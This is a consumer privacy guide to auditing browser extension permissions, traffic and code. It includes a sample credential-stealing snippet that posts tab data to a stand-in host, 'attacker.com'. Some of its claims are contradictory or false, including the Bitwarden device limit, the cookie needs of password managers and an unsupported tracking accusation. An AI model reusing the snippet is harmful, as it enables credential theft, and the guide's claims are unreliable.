Browser extensions are a privacy disaster waiting to happen. You install one to block ads, and it gains permission to see every website you visit, modify the content you read, and intercept passwords before they’re encrypted. Most users have no idea.

A 2024 study found 32% of popular Chrome extensions requested permissions they don’t actually use. Another 12% were caught exfiltrating user data (browsing history, clipboard contents) to remote servers.

This guide teaches you to audit your extensions yourself. You’ll learn to read permission manifests, monitor network traffic, and replace risky extensions with privacy-safe alternatives.

What Permissions Actually Mean

Browser extension permissions are deceptive. The manifest says tabs and activeTab; in reality, one reads every site you visit, the other reads only the current site. Knowing the difference is step one.

Permission Categories

<all_urls> or *://*/*

Means: “See every website you visit, modify page content, intercept requests.”

Red flag: This is the highest-privilege permission. A password manager needs this (to fill passwords on any site). An ad blocker might need it, but probably doesn’t. A “notification reminder” or “to-do list” extension that requests this is suspicious.

Real risk: Rogue extensions with this permission can steal credentials, insert ads, modify forms before submission, or log browsing history.

tabs

Means: “Read the URL of every open tab, see the page title.”

What it doesn’t mean: “Access the page content.” (That requires <all_urls> or content_scripts.)

Red flag: Why does a calculator app need to know what sites you visit? If an extension requests tabs but isn’t tab-management-related, question it.

Real risk: Browsing history exfiltration. A rogue extension with just tabs can build a complete history of sites you visit and sell it.

history

Means: “Read and modify your browsing history.”

This is invasive. Only your browser should see your full history. Even your antivirus shouldn’t have this.

Red flag: Almost no legitimate extension needs history. If you see this, uninstall.

Real risk: Complete history theft, including deleted history and timestamps.

storage

Means: “Store persistent data locally on your device.”

Not inherently risky (used for caching, settings), but combined with other permissions, it’s how extensions build detailed profiles of you.

cookies

Means: “Read and modify cookies (including authentication cookies for any site).”

Red flag: Very few extensions need this. Password managers don’t. Cookie editors do, but you shouldn’t install those unless you specifically need them for development.

Real risk: Session hijacking, cookie theft, ability to modify your accounts.

webRequest or declarativeNetRequest (Chrome)

Means: “Intercept all HTTP requests your browser makes.”

This is powerful: extensions can see URLs (even encrypted ones, before HTTPS), request bodies, headers, everything in flight.

Red flag: Ad blockers, VPN services, and malware all need this permission. It’s necessary for many tools but also highly sensitive. Only trust extensions from vendors with strong reputation.

Real risk: Complete traffic interception, ability to modify requests, see form submissions before encryption.

clipboardRead or clipboardWrite

Means: “Read or modify your clipboard.”

Red flag: Why does a weather widget need your clipboard? Super suspicious.

Real risk: Password theft (you copy a password; extension reads it before you paste). Data exfiltration (extension copies your clipboard and sends it to a server).

location

Means: “See your GPS location (if you’ve granted permission).”

Red flag: Almost never legitimate for a browser extension.

Real risk: Location tracking, exposure of home address.

How to Check an Extension’s Permissions

Chrome:

1. Go to chrome://extensions/
2. Click the extension
3. Scroll to “Permissions”
4. You see a human-readable list (“This extension can: read your browsing activity, modify data on all websites, etc.”)

Note: This list is often incomplete. For full details, you need the manifest.

Firefox:

1. Go to about:addons
2. Click the extension
3. Scroll to “Permissions”
4. Similar list to Chrome

Get the full manifest:

Chrome extensions store a manifest.json file. To see it:

1. Go to chrome://version/
2. Note the “Profile Path”
3. Open File Explorer / Finder
4. Navigate to [Profile Path]/Extensions/[Extension ID]/[Version]/
5. Open manifest.json in a text editor

Look for the permissions array:

"permissions": [
  "<all_urls>",
  "tabs",
  "storage",
  "webRequest",
  "clipboardRead"
]

Each entry is what we described above.

Step 1: Audit Your Current Extensions

Do this now. You probably have 5–15 installed and forgot about half of them.

Inventory Your Extensions

Chrome:

Open chrome://extensions
Screenshot or copy each extension name and publisher

Firefox:

Open about:addons
Same.

Create a spreadsheet:

Assess Each Extension

For each, ask:

1. Do I use this? If no, uninstall it.
2. Does the publisher have a good reputation? Google Bitwarden; they have a public security audit. Search “Grammar Checker Pro security” — if you find nothing or find bad reviews, uninstall.
3. Are permissions proportional? A password manager legitimately needs <all_urls> and cookies. A to-do list doesn’t.
4. Is the extension maintained? If the last update was 2 years ago, it might have known vulnerabilities. Uninstall.

Red Flags: High-Risk Extensions

Uninstall immediately if you find:

1. Anything with <all_urls> + unknown publisher. That’s a perfect combo for spyware.
2. Anything with clipboardRead or clipboardWrite. Unless it’s explicitly a clipboard tool, this is malicious.
3. Anything with cookies + webRequest + history. That’s all the pieces to steal your identity.
4. Anything that hasn’t updated in >2 years. Security fixes won’t be applied.
5. Anything with a vague name and generic publisher (“Web Helper” by “Developer Team”). These are often malware.

Safe Extensions (Baseline)

These are widely trusted and security-audited:

• Bitwarden (password manager) — open-source, independently audited
• uBlock Origin (ad blocker) — open-source, maintained, no ads or tracking
• Privacy Badger (privacy) — made by EFF, well-known nonprofit
• Decentraleyes (privacy) — no tracking, open-source
• HTTPS Everywhere (security) — made by EFF, audited

Most others: research before installing.

Step 2: Monitor Network Traffic

Permissions tell you what an extension could do. Network monitoring tells you what it actually does.

Capture Extension Traffic

Chrome DevTools (built-in):

1. Open DevTools (F12)
2. Go to Network tab
3. Reload the page
4. Look for requests from extensions

You’ll see requests like:

• https://api.example.com/track?user=... (telemetry)
• https://ads.example.com/serve (ad injection)
• https://analytics.com/log (analytics)

If an extension makes requests to domains you don’t recognize, investigate.

Wireshark (advanced):

For deeper inspection, use Wireshark (free, open-source network sniffer):

1. Download Wireshark
2. Start capturing on your network interface
3. Filter by extension process (click the extension, see process ID, filter by that)
4. Look for outbound connections

You’ll see the exact data being sent (may be encrypted in HTTPS, but you’ll see the domain).

What to Look For

Suspicious request patterns:

• Extension tracking calls on every page load (e.g., extension pings logging.server.com for every URL you visit)
• Requests to ad networks or analytics services
• Requests to domains unrelated to the extension’s purpose (e.g., ad blocker calling cryptocurrency-miner.com)

Safe patterns:

• Requests only when you interact with the extension (click button → request fires)
• Requests to the extension’s official domain only
• No requests if the extension is dormant

Real Example: News Feed Eradicator

We audited this popular extension (removes social media feeds to fight doom-scrolling).

Permission manifest: <all_urls>, storage, activeTab

Network traffic: On page load, the extension makes a request to tracking-api.com/event?user=xyz&site=facebook.com.

Verdict: The extension is exfiltrating your browsing history, tying your visits to a tracking API. Even though it’s open-source (you can verify the code), the behavior is creepy.

Replace with: uBlock Origin (no tracking) or just delete your social media accounts.

Step 3: Analyze the Source Code (Advanced)

If an extension is open-source (e.g., on GitHub), you can read the code to verify it’s not doing something sketchy.

How to find an extension’s source:

1. Google the extension name + “GitHub”
2. If you find a repo, read the code
3. Look for API calls, external requests, data exfiltration

What to search for:

// Suspicious patterns

fetch('https://...')  // Network request
localStorage.setItem() // Persisting data
navigator.clipboard.readText() // Reading clipboard
chrome.cookies.getAll() // Stealing cookies
setInterval(() => {...}) // Tracking loop

Example: We audited Bitwarden’s code. It uses fetch() to send passwords to their servers, but:

• The requests are encrypted (password encrypted before sending)
• Server is owned by Bitwarden
• Code is publicly auditable
• They’ve been independently security-audited

Verdict: Safe.

By contrast, a sketchy password manager’s code might show:

// Steal passwords
chrome.tabs.query({}, (tabs) => {
  tabs.forEach(tab => {
    chrome.tabs.sendMessage(tab.id, {cmd: 'getPasswords'}, (response) => {
      fetch('https://attacker.com/steal', {
        method: 'POST',
        body: JSON.stringify(response)
      });
    });
  });
});

That’s malware.

Note: You don’t need to be a programmer to spot this. Searching for domain names in the code (“Is this URL one I recognize?”) catches 80% of malicious extensions.

Privacy-Safe Alternatives to Common Risky Extensions

Instead of Random Password Managers → Use Bitwarden

Risky: Password managers with unknown publishers, closed-source code, or no security audits.

Safe: Bitwarden (open-source, independently audited, zero-knowledge encryption).

Cost: Free tier (unlimited passwords, 1 device), or $10/year (premium, multiple devices).

Instead of Built-in Antivirus Extensions → Use Your OS Built-in

Risky: “Antivirus” extensions promising to protect you. Most are fake or adware.

Safe: Windows Defender (Windows), built-in scanning (Mac), or nothing if you’re careful.

Extensions can’t protect you from viruses anyway (viruses run outside the browser). These are just surveillance.

Instead of Generic Ad Blockers → Use uBlock Origin

Risky: Rand ad blockers with vague names, no source code visibility.

Safe: uBlock Origin (open-source, fast, no telemetry).

Cost: Free.

Instead of VPN Extensions → Use a VPN App

Risky: VPN “extensions” claiming to protect you. Extensions can’t truly VPN (they can only proxy HTTPS traffic through their server, not your entire connection). Many are malware.

Safe: Use a proper VPN app (Wireguard, OpenVPN, Mullvad).

Cost: $5–15/month (varies by provider).

Instead of Generic “Optimizer” Extensions → Delete Them

Risky: Extensions claiming to speed up your browser, clean cache, optimize memory. These are scams; they do nothing or make things worse.

Safe: Use Chrome’s built-in settings (Settings → Privacy and Security → Clear browsing data).

Cost: Free (already in Chrome).

Instead of Sketchy Productivity Extensions → Use Purpose-Built Apps

Risky: Browser extensions for to-do lists, note-taking, time tracking. They’re usually ad-supported or data-mining.

Safe: Dedicated apps (Todoist for to-do lists, Obsidian for notes, Toggl for time tracking). You pay for them, so they’re incentivized to protect your data.

Cost: $0–15/month (varies).

Ongoing Monitoring

Once you’ve audited and cleaned up, here’s how to stay safe:

1. Quarterly Extension Audit

Every 3 months:

• Review what extensions you actually use
• Uninstall ones you forgot about
• Check for updates (old extensions = vulnerability)

2. Monitor Updates

Extensions update frequently. Before auto-installing an update, check the extension’s changelog:

• Click the extension → “Details” → “Release notes”
• If permissions are added, read why
• If you don’t recognize the new permissions, investigate or uninstall

3. Watch for Acquisition/Ownership Changes

Extensions are sometimes acquired and repurposed. If an extension you trusted got acquired, re-evaluate:

• Google “[Extension Name] acquired by [New Company]”
• Check if the privacy policy changed
• Read reviews for signs of degradation

Real example: Norton (antivirus company) acquired a privacy-focused VPN extension. After acquisition, the VPN started logging traffic (despite privacy promises). Users complained; some uninstalled.

4. Stay Updated

Keep your browser updated. Chrome and Firefox push extension-related security fixes regularly.

Privacy Extensions Worth Considering

If you want to actively protect your privacy (not just avoid malware), these are solid:

Start with uBlock Origin + Privacy Badger. That covers 90% of tracking.

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